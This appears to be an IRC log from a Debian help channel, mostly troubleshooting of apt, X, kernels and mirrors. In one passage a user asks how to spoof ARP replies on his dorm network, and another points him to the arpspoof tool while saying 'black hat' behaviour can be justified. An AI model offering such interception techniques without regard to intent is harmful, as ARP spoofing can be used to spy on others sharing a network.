| 01:38.29 | GloX` | to get them in apt :) |
| 01:38.44 | GuzzleFry | yeah, I was looking at Gnash.. |
| 01:38.50 | PowerPC | how do i use apt-get? |
| 01:38.58 | chealer9 | GloX`: do you have testing main sources? |
| 01:38.58 | blondie | man apt-get |
| 01:39.16 | PowerPC | thx :P |
| 01:39.19 | GuzzleFry | how much perforance increase will I get running in 64-bit mode instead of 32-bit? |
| 01:39.35 | chealer9 | GuzzleFry: ask #debian-amd64 |
| 01:39.42 | GuzzleFry | alrighty |
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| 01:39.53 | blakkino | GuzzleFry, depend on the app, obviusly |
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| 01:40.13 | blakkino | i have tested some apps coded by me.. and i found a 25-30% gain.. |
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| 01:40.35 | GuzzleFry | I tryed out SuSE 9.3 64-bit on here, and it seemed slower than my Mandrake 10.0 install on my P3 866mhz |
| 01:40.41 | blakkino | (these apps were not using 64bit ints) |
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| 01:41.24 | Eulex | GuzzleFry, it's probably not because of the 64 bit, it's more about the software. |
| 01:41.40 | GuzzleFry | yeah, that's why I'm trying out Debian |
| 01:41.42 | blakkino | GuzzleFry, bad configuration in suse |
| 01:42.05 | blakkino | or bad binary packages in suse.. (this seem very unlikely) |
| 01:42.32 | Eulex | blakkino, well, for suse, anything can be possible. |
| 01:42.52 | GloX` | testing main contrib non-free chealer9 |
| 01:42.54 | blakkino | Eulex, never used suse.. anyway.. most people tell it is not bad |
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| 01:43.15 | IdahoEv | How can I tell if procmail is invoking correctly? My exim4 log says that messages are being delivered via procmail, but none of the rules in my .procmailrc are running, and the procmail logfile I specified is not getting created. Messages are just going straight to /var/mail/username without any other explanation. |
| 01:43.17 | avar | where can I get info on why a package is in non-free? |
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| 01:44.02 | PowerPC | apt-get install gnome-core |
| 01:44.03 | PowerPC | lol |
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| 01:45.53 | PowerPC | Rebuilding the database. This may take some time. |
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| 01:46.42 | yawg | i'm so close to getting this |
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| 01:46.51 | yawg | i don't have enough ram |
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| 01:47.03 | chealer9 | GloX`: when did you last update? |
| 01:47.05 | yawg | and i get an error while downloading the installation packages |
| 01:47.09 | PowerPC | i just have to wait for gnome to finish installing |
| 01:47.10 | PowerPC | lol |
| 01:47.22 | GloX` | chealer9, working now :) |
| 01:47.24 | gargos | damn my bitchx is not configured |
| 01:47.27 | gargos | :s |
| 01:47.28 | gargos | wait |
| 01:47.38 | chealer9 | avar: usually in its copyright file |
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| 01:47.49 | yawg | is there any way to reduce the memory a debian floppy install requires? |
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| 01:49.03 | GuzzleFry | any way to use a swap file? |
| 01:49.09 | yawg | idk |
| 01:49.12 | fhffhqvb | yawg: install potato? |
| 01:49.16 | yawg | fhffhqvb: how? |
| 01:49.45 | fhffhqvb | yawg: blah. |
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| 01:49.50 | PowerPC | how do is start x? |
| 01:49.50 | PowerPC | lol |
| 01:50.04 | yawg | is there a boot/root/net_driver floppy trio for potato? |
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| 01:50.23 | fhffhqvb | !potato |
| 01:50.23 | dpkg | potato is, like, Debian 2.2, released August 14th, 2000, and is no longer supported. Ask me about "potato->woody" for upgrade information. something that grows underground |
| 01:50.47 | yawg | hm.. |
| 01:51.08 | curt | why is it that your running out of memory? |
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| 01:51.26 | Unity | PowerPC: `startx` |
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| 01:51.45 | yawg | curt: i'm trying to install on a very old laptop |
| 01:51.47 | PowerPC | startx: command not found |
| 01:51.57 | Unity | PowerPC: `xinit` |
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| 01:52.06 | PowerPC | uhh |
| 01:52.07 | PowerPC | command |
| 01:52.08 | PowerPC | not |
| 01:52.09 | PowerPC | found |
| 01:52.10 | PowerPC | :( |
| 01:52.18 | curt | yawg, but still, if there is not enough there to install, how's going to run? |
| 01:52.19 | Unity | do you have x intstalled? |
| 01:52.24 | PowerPC | i thought i did |
| 01:52.25 | PowerPC | hold on |
| 01:52.38 | yawg | curt: i already have it installed |
| 01:52.47 | yawg | curt: but the version i have installed doesn't notice the NIC card |
| 01:52.54 | Unity | oh i think its cause these commands are for Xorg and doesn't debian use XFree86 ? |
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| 01:53.10 | curt | yawg, ok so you need to get your nic working.. |
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| 01:53.20 | yawg | it works in the install |
| 01:53.26 | yawg | the install just doesn't make it far enough |
| 01:53.31 | PowerPC | hmm i guess not |
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| 01:53.44 | curt | yawg, lost me there |
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| 01:54.12 | yawg | ok, i already have debian installed on this laptop |
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| 01:54.13 | mo1991 | ls |
| 01:54.19 | yawg | but it isn't a very good install |
| 01:54.29 | PowerPC | ha im installing x |
| 01:54.29 | PowerPC | woops |
| 01:54.30 | PowerPC | lol |
| 01:54.31 | curt | yawg, can you logon |
| 01:54.32 | yawg | and it doesn't see pcmcia cards ever since i upgraded to kernel 2.6 |
| 01:54.34 | yawg | yeah |
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| 01:54.57 | curt | apt-get another kernel and boot it |
| 01:54.58 | yawg | and i didn't upgrade to the kernel with apt-get, i did it by bringing the .deb file onto it with a floppy disk |
| 01:54.59 | Tortel | did you install the pcmcia kerenel headers? |
| 01:54.59 | yawg | in parts |
| 01:55.00 | The_And1 | Why is it that the maximum resulution i can get in kde is 1152x768 even though the maximum res in x is 1920x1440 in /etc/X11/XF86Config-4 |
| 01:55.00 | ke6isf | !tell PowerPC -about enter |
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| 01:55.19 | dannyp | so is anyone else excited by the new lenovo 3000 laptops? afaict from a distance (and it's a far distance) they should run linux, BSD, etc. fine |
| 01:55.29 | dannyp | my biggest concern is over southbridge and ACPI support |
| 01:55.37 | PowerPC | sorru |
| 01:55.38 | PowerPC | y* |
| 01:55.39 | PowerPC | lol |
| 01:55.41 | dannyp | but man, the price is right |
| 01:55.42 | oauto | that's always the concern with laptops |
| 01:55.44 | curt | yawg, can't you boot the old kernel? |
| 01:55.50 | Unity | PowerPC: you're doing it again... |
| 01:55.55 | yawg | curt: i don't know how |
| 01:55.57 | PowerPC | >.< |
| 01:55.59 | ke6isf | !lol |
| 01:55.59 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 01:55.59 | yawg | i tried installing 2.4 |
| 01:56.04 | mo1991 | i need to change something for my pcmcia config file so that pcmcia_cs modules work properly - a howto told me to change the /etc/rc.d/rc.pcmcia file - but this file doesn't exist on sarge. Only find rc0.d, rc1.d and others in /etc folder. Where is the actual pcmcia file ? |
| 01:56.06 | yawg | and it has dependancy errors |
| 01:56.12 | curt | PowerPC, stopit |
| 01:56.29 | deadcat | PowerPC: ya. stop all this shit |
| 01:56.34 | ke6isf | PowerPC: Don't be sorry, just don't do it. |
| 01:56.58 | curt | yawg, 2.4 was installed to begin with, and grub/lilo doesn't give you the option anymore? |
| 01:57.06 | yawg | nope |
| 01:57.12 | Unity | what is wrong with lol? it is understood to be laughing, and just cause AOLers use it doesn't mean we can't. we are letting AOL users decide what we can and cannot say? |
| 01:57.27 | curt | !rc.d |
| 01:57.28 | dpkg | Debian is not DedRat. There is no /etc/rc.d/*. Everything you want is in /etc/*. try (on debian) 'man update-rc.d', or ask me about <red hat tools> |
| 01:57.35 | oauto | Unity: it translates poorly |
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| 01:57.54 | PowerPC | Fatal Server Error: no screens found |
| 01:58.11 | curt | yawg, so back to figuring out your pcmcia card |
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| 01:59.01 | Unity | PowerPC: you need to configure x with `dpkg-reconfigure xserver-xorg` as root |
| 01:59.23 | Unity | PowerPC: or xserver-xfree86 or whatever xserver you are using |
| 01:59.51 | ke6isf | Unity: You have it backwards. We don't let AOLers dictate what we can('t) say, it's that AOLers have a reputation of having lower intelligence levels. Not always the case, but the median thereon seems to be a bit lower than average. |
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| 02:00.17 | Tortel | !laptops |
| 02:00.17 | dpkg | All there is worth knowing about linux and laptops can be found at http://www.linux-laptop.net/ and http://tuxmobil.org or also ask me about 'acpi' and 'suspend', or see the debian-laptop mailing list at http://lists.debian.org/debian-laptop/ |
| 02:00.54 | Unity | ke6isf: it doesn't follow that saying lol implies that you're dumb. btw this is a dumb argument. you win, so drop it. |
| 02:01.13 | PowerPC | Please enter the video card's bus identifier? |
| 02:01.21 | Unity | PowerPC: leave it blank |
| 02:01.29 | Unity | PowerPC: or whatever was the default |
| 02:01.35 | colter | According to its bug report page, slapd (in stable) has 88 outstanding bugs. Is this a sign for bad maintenance or is there nothing unusual about this? |
| 02:01.47 | PowerPC | and the amount of video RAM? |
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| 02:01.57 | gargos | returned |
| 02:01.57 | Unity | colter: depends on the severity of the bugs |
| 02:01.58 | curt | colter, sounds like alot to me |
| 02:02.00 | ke6isf | ...I was out to win something? This is news... ah, for pity's sake. |
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| 02:02.30 | Unity | running ke6isf in the background? |
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| 02:02.51 | colter | Unity, curt: 1 grave, 2 serious policy, 27 important http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=slapd |
| 02:02.52 | curt | ke6isf, you have something to do with slapd |
| 02:03.08 | ke6isf | Unity: Dude, again with the backwards. =) I'm running myself in background. |
| 02:03.42 | Unity | i'm touching myself in the background |
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| 02:03.50 | Unity | touch Unity & |
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| 02:04.04 | PowerPC | startx: command not found |
| 02:04.17 | nkuttler | PowerPC: /msg dpkg set up x |
| 02:04.22 | curt | PowerPC, are you using debian? |
| 02:04.26 | PowerPC | yes |
| 02:04.36 | Unity | PowerPC: i dunno if startx is for all distros, but if it doesn't work on debian, try xinit, if that doesn't work, try X |
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| 02:04.57 | curt | PowerPC, /etc/init.d/gdm restart (gdm, xdm whatever) |
| 02:05.30 | mo1991 | <PROTECTED> |
| 02:05.31 | mo1991 | ? |
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| 02:05.50 | kspath | yenta?!?! |
| 02:05.52 | kspath | hehehe |
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| 02:06.28 | hecate | i got some ATI Radeon x700 display driver problem i think |
| 02:06.39 | KerPlunk | hecate: /join #ati |
| 02:06.44 | hecate | it wont start my Xfree86, saying: Fatal error found: no screens found |
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| 02:06.53 | Eulex | !no screens found |
| 02:06.54 | dpkg | no screens found is NOT a useful message - it means XFree86 has a problem SOMEWHERE with SOMETHING. Read your /var/log/XFree86.0.log more closely, and look for the REAL error, which probably begins with (EE), or - ask me about "troubleshooting x". |
| 02:06.54 | hecate | is it due display card? |
| 02:06.59 | Eulex | hecate, ^^ |
| 02:07.01 | curt | !tell hecate -about drxx |
| 02:07.15 | KerPlunk | !tell hecate about drxx |
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| 02:07.23 | KerPlunk | hecate: When it asks you what driver, choose vesa |
| 02:07.35 | hecate | KerPlunk ok thanks |
| 02:08.15 | hecate | KerPlunk but, it wants an identifier for my videocard, what to write there? |
| 02:08.27 | curt | hecate, anythng |
| 02:08.40 | KerPlunk | hecate: leave that blank |
| 02:08.43 | Eulex | KerPlunk, why? the ati driver will work very well. also, it's not very sure that it's a display problem, could very well be a problem with the input devices. |
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| 02:08.56 | Eulex | hecate, check your X log, *then* try to fix it. |
| 02:09.01 | overture_ | how do you background a process in bash, when in a for loop? |
| 02:09.16 | freeone3000 | Same way you background a process in a console window... |
| 02:09.26 | overture_ | for x in 1 2; do echo $x &; done throws a syntax error |
| 02:09.58 | Unity | overture_: maybe #bash knows? |
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| 02:10.35 | Unity | overture_: although i suspect that it involves escaping the & |
| 02:10.36 | Eulex | overture_, for x in 1 2; do echo $x & done worked for me |
| 02:11.00 | overture_ | thanks |
| 02:11.44 | Eulex | overture_, don't ask me why, though |
| 02:12.27 | Unity | is it a good idea to give solutions without explanations? because then they come back asking more questions |
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| 02:13.46 | curt | ... & is not the end of the statement... |
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| 02:14.39 | hecate | ok now i got some weeeeird error when i got my Xfree finally running |
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| 02:15.02 | Thanatermesis | please, any link/howto about the basic usages of APT/DPKG ? (for newbees) |
| 02:15.10 | hecate | Error activating XKB configuration. |
| 02:15.16 | deadcat | man |
| 02:15.16 | hecate | Probably internal X server problem. |
| 02:15.20 | curt | Thanatermesis, man apt-get |
| 02:15.23 | hecate | whats this? |
| 02:15.29 | curt | Thanatermesis, apt-get --help |
| 02:15.47 | hecate | got pretty many of those windows popping up |
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| 02:15.59 | Thanatermesis | curt a thing more user-frienly for the newbee users ? (do you know how is the newbees with the man ;)) |
| 02:16.19 | Thanatermesis | a howto with examples is a good thing |
| 02:16.29 | chealer9 | !apt |
| 02:16.29 | dpkg | apt is probably the Advanced Package Tool, an advanced frontend for dpkg and rpm (depending on your system). For Debian it's a frontend for dpkg. Apt kicks ass. Unless you referring to Sun's 'Annotation Processing Tool', which ... does not 'kick ass.', or http://www.debian.org/doc/manuals/apt-howto/index.en.html |
| 02:16.33 | curt | Thanatermesis, --help shows most everything a noob would want |
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| 02:16.57 | hawkeey | ? |
| 02:17.48 | curt | hecate, /msg dpkg xkb |
| 02:17.51 | PowerPC | omg im so close |
| 02:18.06 | kmsh | where is the kernel config located on a new debian stable install? |
| 02:18.18 | chealer9 | kmsh: /boot |
| 02:18.30 | kmsh | damn :( its not accurate |
| 02:19.04 | chealer9 | kmsh: there can be several kernel configs |
| 02:19.54 | Thanatermesis | thanks chealer9 |
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| 02:20.07 | PowerPC | meh last error i hope i can fix. it was about the fonts not being installed correctly |
| 02:20.59 | chealer9 | dpkg: no, apt is the Advanced Package Tool. In Debian it's a frontend to dpkg. For help using APT, see the APT HOWTO at http://www.debian.org/doc/manuals/apt-howto/ |
| 02:20.59 | dpkg | okay, chealer9 |
| 02:22.02 | unix_infidel | dpkg: services? |
| 02:22.03 | dpkg | services is, like, to view and alter system services, use one or more of rcconf, sysvconfig, sysv-rc-conf, update-rc.d or ls, ln and rm in /etc/rc?.d/, or /etc/services a port numbers list, or http://www.iana.org/assignments/port-numbers, or |
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| 02:23.45 | chealer9 | PowerPC: how did you get past the kernel modules error? |
| 02:24.33 | PowerPC | i dont know but it went right through on VMware |
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| 02:25.02 | kmsh | anyone feel like posting a good sources.list w/ testing ? |
| 02:25.11 | PowerPC | brb ill fix x later |
| 02:25.56 | curt | kmsh, is http://http.us.debian.org/debian not good? |
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| 02:27.56 | kmsh | is sarge still considered testing? |
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| 02:28.34 | thingfish | no |
| 02:28.39 | curt | kmsh, etch is |
| 02:28.45 | Tortel | kmsh: not at all |
| 02:29.31 | Tortel | gah, APT and everything that uses it is being hellishly slow... |
| 02:29.40 | Tortel | and taking 100% of my processor.... |
| 02:29.57 | Tortel | and wasting about 3 minutes loading it |
| 02:30.02 | Tortel | :( |
| 02:31.43 | curt | Tortel, apt lags me too and I am 3.2ghz intel w/1gb ram |
| 02:31.50 | Tortel | same |
| 02:32.00 | harfooz | hi all. I have installed etch and have an issue with alsa and the 2.6.15 kernel (based on what google is telling me). Here is the output: http://channels.debian.net/paste/1932 |
| 02:32.04 | Tortel | really annoying me |
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| 02:32.23 | harfooz | anyone know of a solution to get sound going? |
| 02:32.41 | omi | hello all, is there a tool to monitor trafic that some process is generating? |
| 02:32.45 | harfooz | uname -a |
| 02:32.45 | harfooz | Linux mufasa 2.6.15-1-k7 <-- here's my new kernel |
| 02:33.19 | unix_infidel | harfooz: custom compiled for the k7 proc? |
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| 02:33.53 | harfooz | unix_infidel, not a kernel that I compiled, but one that the etch g-i selected for my AMD chip. |
| 02:34.02 | unix_infidel | g-i? |
| 02:34.05 | curt | kmsh, basic sources.list > http://channels.debian.net/paste/1933 |
| 02:34.17 | harfooz | etch's graphical-installer |
| 02:35.36 | PowerPC | one question, how do i get gnome working with x? its been a while :P |
| 02:35.54 | markybob | PowerPC, apt-get install gnome ? |
| 02:36.07 | PowerPC | i did that |
| 02:36.13 | markybob | PowerPC, so what's your problem? |
| 02:36.30 | PowerPC | when i type X, all i get is the grey screen with the X cursor |
| 02:36.31 | Keefe | which is better to set up a share between 2 debian boxen; samba or nfs? |
| 02:36.48 | markybob | PowerPC, add gnome-session to ~/.xsession or apt-get install gdm |
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| 02:38.32 | curt | Keefe, not sure that makes sense.. copy files between boxes > scp |
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| 02:39.39 | PowerPC | OMG it works, thank you markybob |
| 02:39.54 | markybob | Keefe, i like samba. doesnt much matter. you can mount them both anyway |
| 02:39.56 | markybob | PowerPC, np |
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| 02:40.32 | Keefe | curt, I just want to set up a back up server so I want to mount a directory from the back server on my main box |
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| 02:44.16 | Pegasuss | Keefe, nfs, samba if it's a windows box |
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| 02:47.38 | pedrinhu19 | hummm |
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| 02:52.03 | PowerPC | what is the package name for xchat? |
| 02:52.28 | markybob | !info xchat |
| 02:52.40 | markybob | damn bot. anyway, it's "xchat" |
| 02:52.44 | dpkg | xchat: (IRC client for X similar to AmIRC), section net, is optional. Version: 2.6.1-1 (sid), Packaged size: 268 kB, Installed size: 720 kB |
| 02:52.58 | PowerPC | it said it couldnt find package xchat |
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| 02:53.10 | thingfish | etch? |
| 02:54.31 | Azar | malware goes commercial: "For the low, low price of only US$990, a user gets his or her own pet trojan horse, complete with tech support." |
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| 02:54.39 | maatttt | hi all |
| 02:54.57 | curt | Azar, sign me up... i want one. |
| 02:55.16 | Azar | dang curt what to do with it? |
| 02:55.28 | curt | Azar, pet it of course |
| 02:55.35 | maatttt | I have created a sarge install on a vmware machine, console only, exim, mailman, etc, nothing too complex. How could I transfer this to a hardware machine ? |
| 02:55.43 | Azar | too expensive, wait until free, open source ones are up |
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| 02:56.14 | linoleum | hi guys, I would like to know how , with apt-get , I can juste download , but not install something |
| 02:56.25 | thingfish | linoleum: man apt-get |
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| 02:56.29 | Azar | but for the fun you can have the article: http://arstechnica.com/news.ars/post/20060225-6264.html |
| 02:56.32 | maatttt | I suppose my question is how to I migrate sarge to new hardware ? |
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| 02:57.24 | Azar | maatttt: are you trying to replace old hardware on a Debian box? |
| 02:58.05 | curt | Azar, that really is sad. |
| 02:58.13 | linoleum | thingfish: sorry it teils -d to just download, but I dont understand how to use it : apt-get -d thethings doesn't work |
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| 02:58.24 | maatttt | I have an old debian woody which is messed up, so I creted annew sarge on another machine, I want to move the new sarge to the old hardware. |
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| 02:58.41 | thingfish | linoleum: try apt-get install -d foo |
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| 03:00.27 | linoleum | thingfish : sorry again , ok , it works but I cannot download it because of dependenci problem . how can I just download it and not install it? |
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| 03:00.40 | curt | maatttt, wouldn't it be easier to install sarge on the old harware to begin with. |
| 03:00.43 | Azar | maatttt: it is easy to upgrade a woody to sarge if you respect the rules: install "aptitude" edit your apt/sources.list to now point to "sarge", then use aptitude to "update" then "dist-upgrade" |
| 03:00.49 | thingfish | linoleum: there's always pdo.debian.net. |
| 03:00.55 | tyler | why cant i connect to ares network, is ares working? |
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| 03:01.14 | Azar | tyler whatever could be ares |
| 03:01.27 | maatttt | Azar: I want the peace of mind of a fresh install. I mave been messing with this old box for years, lots of backport, etc. it's amess. |
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| 03:02.00 | Azar | maatttt: if is an old box an upgrade is more pleasant, as you are not sure if sarge will not vomit on your old hardware |
| 03:02.02 | maatttt | curt: yes it wood, but the old machine is providing a service. |
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| 03:02.58 | Azar | sarge install = surprise / woody upgrade >> sarge = manageable |
| 03:03.24 | curt | probably could just image it over |
| 03:03.34 | maatttt | Azar: but an upgrade isn;t going to remove old junk |
| 03:03.50 | Azar | maatttt: that for is "aptitude" it replaces old junk |
| 03:04.05 | linoleum | sorry , but how can I force apt to download a package, even if there is dependencies problems? |
| 03:04.27 | Azar | maatttt: installing sarge you most likely lose your stuff because sarge will NOT install over woody. |
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| 03:04.38 | maatttt | Azar: not all the old junk was installed from apt, some I compiled. |
| 03:04.49 | maatttt | Azar: when I say install over, I meen wipe and install. |
| 03:04.53 | maatttt | mean |
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| 03:05.24 | viking | :) |
| 03:05.37 | Azar | maatttt: correct, ok then install sarge. I flunked at sarge installer, I had to start install with woody and end it with sarge: I use warge now |
| 03:06.00 | Azar | good evening mr Guerin |
| 03:06.07 | maatttt | oh right. yeah I had similar issues with an old laptop. |
| 03:06.13 | Guerin | Azar: good morning from Beijing |
| 03:06.27 | Azar | \0/ nice nice, Guerin |
| 03:06.46 | thingfish | hun how! |
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| 03:07.29 | Guerin | the freaking train from dandong wasn't hun hao |
| 03:07.35 | thingfish | hehe |
| 03:07.52 | Azar | :D |
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| 03:08.42 | Azar | maatttt: just to let you know, by default sarge installs with the 2.4.27kernel but you have the option to install with linux26 |
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| 03:10.52 | SerajewelKS | somewhat-OT: how would i do raw network I/O on one particular interface, like ethereal and tcpdump do? i welcome suggestions of what to google, i just can't think of any keywords right now. |
| 03:10.52 | Azar | curt not that I am mean or such, but reading that article I can't stop remembering a quote I read on the news recently: with every new virus coming out, symantec's stocks go up |
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| 03:11.25 | Azar | now link this with the commercializations of viruses written by proffesionals... and you get a picture |
| 03:11.34 | Unity | Azar: symantec should have a subdivision that writes viruses |
| 03:11.34 | SerajewelKS | my dorm's router isn't responding to ARP right now, but i know the hardware address (from someone else's ARP tables) so i want to write a program to spoof ARP responses so that people who've rebooted recently can get back on. |
| 03:11.37 | curt | Azar, invest... |
| 03:11.51 | Azar | Unity, I already think they have one |
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| 03:11.57 | Azar | curt wise advice, indeed |
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| 03:12.09 | dannyp | SerajewelKS: heh, *sure* that's what you want it for |
| 03:12.11 | curt | Azar, I have alwasy thought that |
| 03:12.21 | PowerPC | i got apache installed :) |
| 03:12.27 | SerajewelKS | dannyp: actually, yeah it is. so either fuck off or prove me wrong. |
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| 03:12.34 | curt | PowerPC, yay |
| 03:12.35 | Azar | ms not to fall behind started their own "a/v" with subscriptions |
| 03:12.39 | Azar | makes you puke |
| 03:12.45 | PowerPC | http://windows31rox.homeip.net:81/ |
| 03:12.50 | dannyp | SerajewelKS: woah, watch your language. I was just typing out "But I'm not here to judge..." and explaining what to do |
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| 03:13.05 | deadcat | worst site ever! |
| 03:13.15 | dannyp | SerajewelKS: so, I'm not here to judge, and you should stay out of trouble, but the dsniff package contains arpspoof, which will do exactly what you want |
| 03:13.28 | SerajewelKS | dannyp: i will use whatever language i want to when accused. and yes, you are not here to judge. so "heh, sure" is completely unneccessary. |
| 03:13.28 | PowerPC | deadcat its my old ddns |
| 03:13.30 | kspath | Is portable-chi a lame hostname for an iBook? |
| 03:13.42 | dannyp | SerajewelKS: what's with the 'tude? |
| 03:13.42 | deadcat | PowerPC: no , the content |
| 03:13.45 | Azar | shhhh tsk tsk, use ignore gentlemen |
| 03:13.51 | PowerPC | its a new install deadcat :P |
| 03:14.03 | SerajewelKS | dannyp: you accused me by way of sarcasm. that makes me very unhappy and defensive. |
| 03:14.14 | SerajewelKS | dannyp: if you don't like being sworn at, don't baselessly accuse people. |
| 03:14.16 | kspath | !lart #debian |
| 03:14.34 | SerajewelKS | dannyp: but thank you for the suggestion, i will investigate it |
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| 03:14.53 | dannyp | SerajewelKS: I could care less if you're spoofing arp replies to help your friends or spy on them. |
| 03:15.26 | SerajewelKS | dannyp: i am also pissed right now because i work at ITS and this downage at the start of the weekend reflects badly on them, so everyone is coming to me for help. |
| 03:15.43 | SerajewelKS | dannyp: i want to get this thing fixed, and i cannot stand it when people question my intentions. |
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| 03:16.07 | dannyp | SerajewelKS: why? |
| 03:16.35 | kizmet | Im currently getting an error while building my machine and trying to compile the nvidia modules |
| 03:16.49 | kizmet | libc6-dev: Depends: libc6 (= 2.3.5-8) but 2.3.5-13 is to be installed |
| 03:16.50 | SerajewelKS | dannyp: why what? |
| 03:17.03 | dannyp | SerajewelKS: why does it bother you that some random person on IRC is questioning your intentions but helping you regardless? |
| 03:17.52 | SerajewelKS | dannyp: because i am pissed about this issue too, and when i am geniunely trying to do something good i hate being accused of doing something bad. i am wearing my white hat right now. |
| 03:18.02 | kspath | dannyp: Some people including me have a form of personal honour which we take very seriously. It is not always called honour but that is what most people will understand. |
| 03:18.08 | SerajewelKS | dannyp: false accusations drive me up the wall. i have a very strong sense of justice. |
| 03:18.16 | dannyp | SerajewelKS: I never accused you of doing anything bad. Hat color and morality are two different things |
| 03:19.06 | curt | it sounded suspicious to me too |
| 03:19.12 | dannyp | for all I know your dormmates are pedophilies or involved in irresponsibly violent organizations, and fucking with their arp tables is a good thing. I personally think there are scenarios where "black hat" behavior is perfectly morally justified and correct |
| 03:19.26 | SerajewelKS | dannyp: < dannyp> SerajewelKS: heh, *sure* that's what you want it for |
| 03:19.37 | SerajewelKS | dannyp: that is an accusation by way of sarcasm |
| 03:19.46 | dannyp | SerajewelKS: it's an accusation, but not of doing anything bad |
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| 03:19.52 | dannyp | just something different |
| 03:19.56 | curt | I was about to say the same thing and not help you :) |
| 03:20.19 | SerajewelKS | dannyp: well fine. again thanks for the help, it just came across as an accusation. |
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| 03:20.53 | SerajewelKS | dannyp, curt: and i think this would be the last place to ask about black hat stuff |
| 03:20.58 | SerajewelKS | at least for me anyway |
| 03:21.14 | thingfish | anywhere on freenode. |
| 03:21.22 | kspath | SerajewelKS: you have to admit there are a lot more black hat reasons to use such things than white/gray hat reasons. It does hurt though when people imply you are without honour/justice when in fact you are. |
| 03:21.31 | kizmet | Can i get some help with libc6 development libs please. |
| 03:21.59 | markybob | !ask |
| 03:21.59 | dpkg | If you have a question, just ask! For Example: "I have a problem with ___; I'm running Debian version ___. when I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, or if anyone uses it, or pick one person to ask (ask the whole channel!). We're all volunteers; make it easy for us to help you. If you don't get an answer, ask later or ask debian-user@lists.debian.org |
| 03:22.01 | dannyp | I don't know, if I were plotting to do something blackhat, and I thought I could phrase my question in a way where everyone thought it was white hat, I'd totally do it in a white hat forum with knoweldgable people (i.e. here) because the signal to noise ratio is better |
| 03:22.02 | SerajewelKS | kspath: yes, that's why i asked here. i figured people knowledgeable about networking would understand why a router not replying to ARP is a bad thing, and why doing this would fix it. |
| 03:22.42 | PowerPC | wow debian + GNOME = 16MB of RAM used |
| 03:22.47 | edward333 | how do you do |
| 03:22.50 | SerajewelKS | dannyp: and i certainly have my non-honour moments -- but this is not one of them, hence me being pissed |
| 03:23.11 | SerajewelKS | arg, dsniff depends on X? |
| 03:23.27 | dannyp | you can build it without it |
| 03:23.40 | SerajewelKS | as a debian package? |
| 03:23.47 | kizmet | I have a problem with the libc6-dev package on debian testing, it is saying that it depends on a version of libc6 that isnt available ? I need it to compile the nvidia kernel modules. please help. |
| 03:23.57 | SerajewelKS | dannyp: sniff build-depends on xlibs-dev |
| 03:24.03 | SerajewelKS | dannyp: dsniff too |
| 03:24.06 | cheal | kizmet: what does $ apt-cache policy libc6-dev; output? |
| 03:24.06 | dannyp | SerajewelKS: don't use the debian package, then |
| 03:24.07 | stew | !depends libc6-dev testing |
| 03:24.15 | KerPlunk | !tell kizmet about nvidia one liner |
| 03:24.19 | SerajewelKS | dannyp: true |
| 03:24.20 | KerPlunk | kizmet: type that one line and you're done |
| 03:24.21 | markybob | SerajewelKS, apt-get source dsniff and then change the debian/rules and debian/controls to compile without |
| 03:24.22 | stew | !info libc6 testing |
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| 03:24.41 | dpkg | libc6: (GNU C Library: Shared libraries and Timezone data), section libs, is required. Version: 2.3.5-13 (etch), Packaged size: 4911 kB, Installed size: 16728 kB |
| 03:24.48 | dpkg | libc6-dev: depends on libc6 (= 2.3.5-13), linux-kernel-headers |
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| 03:25.00 | stew | looks fine to me |
| 03:25.32 | kizmet | The following packages have unmet dependencies. |
| 03:25.32 | kizmet | <PROTECTED> |
| 03:25.32 | kizmet | E: Broken packages |
| 03:25.45 | stew | kizmet: have you run apt-get update? |
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| 03:26.06 | stew | kizmet: the current libc6-dev in testing depends on -13 not -8 |
| 03:26.33 | kizmet | stew, yes. however considering ftp.au.debian.org is borked i have to use other mirrors that are mostly incomplete. |
| 03:26.54 | lolzer | http://www.tulioanjos.com/needabettermirror.JPG |
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| 03:27.27 | edward333 | hi everybody |
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| 03:27.38 | SerajewelKS | tulioanjos: mirrors.kernel.org has always been out of date for me |
| 03:27.47 | tulioanjos | SerajewelKS: recommend one for me :D |
| 03:27.50 | tulioanjos | thats what i want :p |
| 03:27.53 | edward333 | this is my first timt to use irc |
| 03:27.56 | stew | kizmet: you need to use a working, complete mirror, how about ftp.nz.debian.org are all of the .au. mirrors broken? there are more than one |
| 03:28.05 | tulioanjos | edward333 welcome |
| 03:28.21 | SerajewelKS | tulioanjos: google debian mirror |
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| 03:28.24 | kizmet | i'd say that 90% of the au mirrors are borked |
| 03:28.25 | SerajewelKS | tulioanjos: pick one from the list |
| 03:28.31 | tulioanjos | SerajewelKS come on lol |
| 03:28.35 | SerajewelKS | tulioanjos: http://http.us.debian.org/debian should work |
| 03:28.35 | edward333 | who can tell me how to use it |
| 03:28.42 | SerajewelKS | !tell tulioanjos about lol |
| 03:28.55 | SerajewelKS | tulioanjos: i'm not going to do all your work for you |
| 03:29.01 | tulioanjos | heh |
| 03:29.17 | jaredj | whow crazy |
| 03:29.26 | jaredj | are people updating unstable more these days? |
| 03:29.26 | curt | tulioanjos, i use http://http.us.debian.org/debian it's fine |
| 03:29.31 | jaredj | 232 MB to download |
| 03:29.32 | edward333 | I find it very so hard |
| 03:29.33 | Wedge^ | hello, i'm installing samba with apt-get, it asks me if it should run as daemon or from inetd, what's the advantage/disadvantage of those? |
| 03:30.17 | tulioanjos | curt: u mean http://ftp.us.debian.org ? |
| 03:30.27 | markybob | Wedge^, daemon is always running and has advantage of speed. disadvantage is it wastes memory when no one is using it because it's still loaded. inetd calls it up only when someone tries to connect. slower, but doesnt waste memory when no one is using it. |
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| 03:30.56 | kizmet | upgrading... again.... |
| 03:30.58 | Wedge^ | markybob: thank you |
| 03:31.07 | curt | tulioanjos, http://channels.debian.net/paste/1933 |
| 03:31.16 | tulioanjos | heh |
| 03:31.21 | stew | markybob: who cares if it stays loaded, disk space is cheap |
| 03:31.21 | kizmet | !+info linux-image-2.6.14-2-686-smp |
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| 03:31.31 | tulioanjos | curt: i delete the old one, and use these 4 lines ? |
| 03:31.37 | dpkg | Package 'linux-image-2.6.14-2-686-smp' does not exist. |
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| 03:32.13 | kizmet | !+info linux-image-2.6.14-1-686-smp |
| 03:32.13 | markybob | stew, was i talking to you? |
| 03:32.13 | curt | tulioanjos, that is my complete sources.list |
| 03:32.13 | SerajewelKS | dannyp: arpspoof seems to only reply with the local host's MAC address. i need it to reply with a specific address. |
| 03:32.14 | dpkg | Package 'linux-image-2.6.14-1-686-smp' does not exist. |
